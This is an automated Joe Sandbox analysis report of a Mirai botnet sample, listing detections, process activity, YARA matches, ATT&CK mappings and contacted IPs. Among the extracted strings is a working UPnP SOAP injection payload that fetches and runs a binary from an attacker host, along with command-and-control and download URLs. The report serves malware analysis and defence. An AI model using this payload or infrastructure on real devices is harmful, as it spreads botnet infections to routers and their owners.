Edit tour

Linux Analysis Report
gJxUBR0ghC.elf

Overview

General Information

Sample Name:	gJxUBR0ghC.elf
Original Sample Name:	0e31e21ca91e71319a6ea3f001152463.elf
Analysis ID:	1351985
MD5:	0e31e21ca91e71319a6ea3f001152463
SHA1:	7d1a04607d6f5c2224e15bbcdb36701aa2249fc3
SHA256:	cd84c1a2b08b147d9e51fadddc3240342a0c49369fbb9305e31c2566966fb35e
Tags:	32elfmiraisparc
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Sample tries to kill multiple processes (SIGKILL)

Reads CPU information from /sys indicative of miner or evasive malware

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Executes the "rm" command used to delete files or directories

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1351985
Start date and time:	2023-12-02 10:39:16 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	gJxUBR0ghC.elf renamed because original name is a hash value
Original Sample Name:	0e31e21ca91e71319a6ea3f001152463.elf
Detection:	MAL
Classification:	mal76.spre.troj.linELF@0/0@1/0

Runtime Messages

Command:	/tmp/gJxUBR0ghC.elf
PID:	6241
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	J4d3Gr33n.
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6232, Parent: 4331)

rm (PID: 6232, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.o6Plogs1yr /tmp/tmp.qA58EAPoKE /tmp/tmp.KPTn6A0K4J

gJxUBR0ghC.elf (PID: 6241, Parent: 6165, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/gJxUBR0ghC.elf

gJxUBR0ghC.elf New Fork (PID: 6245, Parent: 6241)

gJxUBR0ghC.elf New Fork (PID: 6247, Parent: 6245)

gJxUBR0ghC.elf New Fork (PID: 6248, Parent: 6245)

gJxUBR0ghC.elf New Fork (PID: 6251, Parent: 6245)

xfce4-panel New Fork (PID: 6256, Parent: 2063)

wrapper-2.0 (PID: 6256, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6257, Parent: 2063)

wrapper-2.0 (PID: 6257, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6258, Parent: 2063)

wrapper-2.0 (PID: 6258, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6259, Parent: 2063)

wrapper-2.0 (PID: 6259, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6260, Parent: 2063)

wrapper-2.0 (PID: 6260, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6261, Parent: 2063)

wrapper-2.0 (PID: 6261, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
gJxUBR0ghC.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
gJxUBR0ghC.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6241.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6241.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6247.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6247.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6251.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6251.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: gJxUBR0ghC.elf PID: 6241	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: gJxUBR0ghC.elf PID: 6247	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: gJxUBR0ghC.elf PID: 6251	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 4 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal76.spre.troj.linELF@0/0@1/0

Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6196/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6196/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6196/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1582/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2033/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2033/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2275/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2275/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/3088/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1612/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1612/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1579/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1699/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1335/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1698/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2028/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2028/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1334/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1576/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2302/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/3236/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/3236/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2025/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2025/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2146/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2146/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/910/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/4444/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/4444/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/4444/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6227/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6227/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/4445/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/4445/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/4445/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/912/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/517/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/517/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/759/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/759/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6228/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6228/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2307/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/918/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6247/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1594/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2285/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2285/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2281/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/2281/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6085/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6085/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/6085/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1349/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/1623/exe	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/761/maps	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	File opened: /proc/761/exe	Jump to behavior

Source: /usr/bin/dash (PID: 6232)

Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.o6Plogs1yr /tmp/tmp.qA58EAPoKE /tmp/tmp.KPTn6A0K4J

Jump to behavior

Source: /tmp/gJxUBR0ghC.elf (PID: 6245)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list			Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6245)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list			Jump to behavior

Source: /tmp/gJxUBR0ghC.elf (PID: 6241)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6256)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6257)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6258)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6259)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6260)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6261)	Queries kernel information via 'uname':	Jump to behavior

Source: gJxUBR0ghC.elf, 6241.1.00007fffbe666000.00007fffbe687000.rw-.sdmp, gJxUBR0ghC.elf, 6247.1.00007fffbe666000.00007fffbe687000.rw-.sdmp, gJxUBR0ghC.elf, 6251.1.00007fffbe666000.00007fffbe687000.rw-.sdmp	Binary or memory string: @x86_64/usr/bin/qemu-sparc/tmp/gJxUBR0ghC.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/gJxUBR0ghC.elf
Source: gJxUBR0ghC.elf, 6241.1.0000564d2afdf000.0000564d2b064000.rw-.sdmp, gJxUBR0ghC.elf, 6247.1.0000564d2afdf000.0000564d2b064000.rw-.sdmp, gJxUBR0ghC.elf, 6251.1.0000564d2afdf000.0000564d2b064000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: gJxUBR0ghC.elf, 6241.1.0000564d2afdf000.0000564d2b064000.rw-.sdmp, gJxUBR0ghC.elf, 6247.1.0000564d2afdf000.0000564d2b064000.rw-.sdmp, gJxUBR0ghC.elf, 6251.1.0000564d2afdf000.0000564d2b064000.rw-.sdmp	Binary or memory string: *MV!/etc/qemu-binfmt/sparc
Source: gJxUBR0ghC.elf, 6241.1.00007fffbe666000.00007fffbe687000.rw-.sdmp, gJxUBR0ghC.elf, 6247.1.00007fffbe666000.00007fffbe687000.rw-.sdmp, gJxUBR0ghC.elf, 6251.1.00007fffbe666000.00007fffbe687000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: gJxUBR0ghC.elf, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6251.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gJxUBR0ghC.elf PID: 6241, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJxUBR0ghC.elf PID: 6247, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJxUBR0ghC.elf PID: 6251, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: gJxUBR0ghC.elf, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6251.1.00007f4ae4011000.00007f4ae402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gJxUBR0ghC.elf PID: 6241, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJxUBR0ghC.elf PID: 6247, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJxUBR0ghC.elf PID: 6251, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Service Stop	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gJxUBR0ghC.elf	54%	ReversingLabs	Linux.Trojan.Mirai
gJxUBR0ghC.elf	53%	Virustotal		Browse
gJxUBR0ghC.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.Z.A

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.chromies.cf	5.181.156.131	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://scan.chromies.cf/9x83HE5AFD/arm7.jade	gJxUBR0ghC.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	gJxUBR0ghC.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	gJxUBR0ghC.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
173.217.11.11	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
182.97.230.143	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
5.66.125.248	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
206.233.36.85	unknown	United States	174	COGENT-174US	false
192.238.125.37	unknown	United States	6102	CBSCORPORATEUS	false
198.116.95.129	unknown	United States	297	AS297US	false
2.86.196.205	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
136.10.238.101	unknown	United States	10146	FORD-MOTOR-CO-SG-APFordMotorCompanySG	false
114.144.40.144	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
36.177.143.178	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
9.103.119.12	unknown	United States	3356	LEVEL3US	false
8.55.107.13	unknown	United States	3356	LEVEL3US	false
160.170.20.178	unknown	Morocco	6713	IAM-ASMA	false
86.21.85.147	unknown	United Kingdom	5089	NTLGB	false
13.107.147.93	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.6.53.55	unknown	United States	26101	YAHOO-3US	false
183.23.9.13	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
2.231.108.50	unknown	Italy	12874	FASTWEBIT	false
81.20.57.158	unknown	United Kingdom	39202	GCAP-ASGB	false
197.175.215.206	unknown	South Africa	37168	CELL-CZA	false
148.150.66.156	unknown	United States	55013	MTSSYSTEMSCORPUS	false
147.137.52.31	unknown	United States	20214	COMCAST-20214US	false
73.21.179.160	unknown	United States	7922	COMCAST-7922US	false
63.199.153.54	unknown	United States	7018	ATT-INTERNET4US	false
116.8.184.202	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
92.175.97.230	unknown	France	3215	FranceTelecom-OrangeFR	false
148.120.207.154	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
44.111.81.163	unknown	United States	54489	CORESPACE-DALUS	false
91.227.188.16	unknown	Russian Federation	197826	SKYNET-MSK-ASRU	false
143.248.128.229	unknown	Korea Republic of	1781	KAIST-DAEJEON-AS-KRKoreaAdvancedInstituteofScienceand	false
162.133.201.146	unknown	United States	36351	SOFTLAYERUS	false
207.26.39.241	unknown	United States	701	UUNETUS	false
95.55.215.53	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
32.120.85.129	unknown	United States	7018	ATT-INTERNET4US	false
161.209.231.221	unknown	United States	32665	SOCALGAS-1US	false
67.107.25.112	unknown	United States	2828	XO-AS15US	false
114.215.150.98	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
174.34.117.8	unknown	United States	7829	ASN-NEXTWEB-R2US	false
71.119.151.194	unknown	United States	5650	FRONTIER-FRTRUS	false
88.132.148.79	unknown	Hungary	35311	PR-TELECOM-ASHU	false
149.74.18.35	unknown	United States	12479	UNI2-ASES	false
24.76.212.86	unknown	Canada	6327	SHAWCA	false
203.145.104.248	unknown	Japan	7511	SYNAPSESYNAPSECoLtdJP	false
222.116.158.139	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.159.239.185	unknown	Gabon	16058	Gabon-TelecomGA	false
62.192.73.173	unknown	Netherlands	15430	EuropeanDynamicsSANL	false
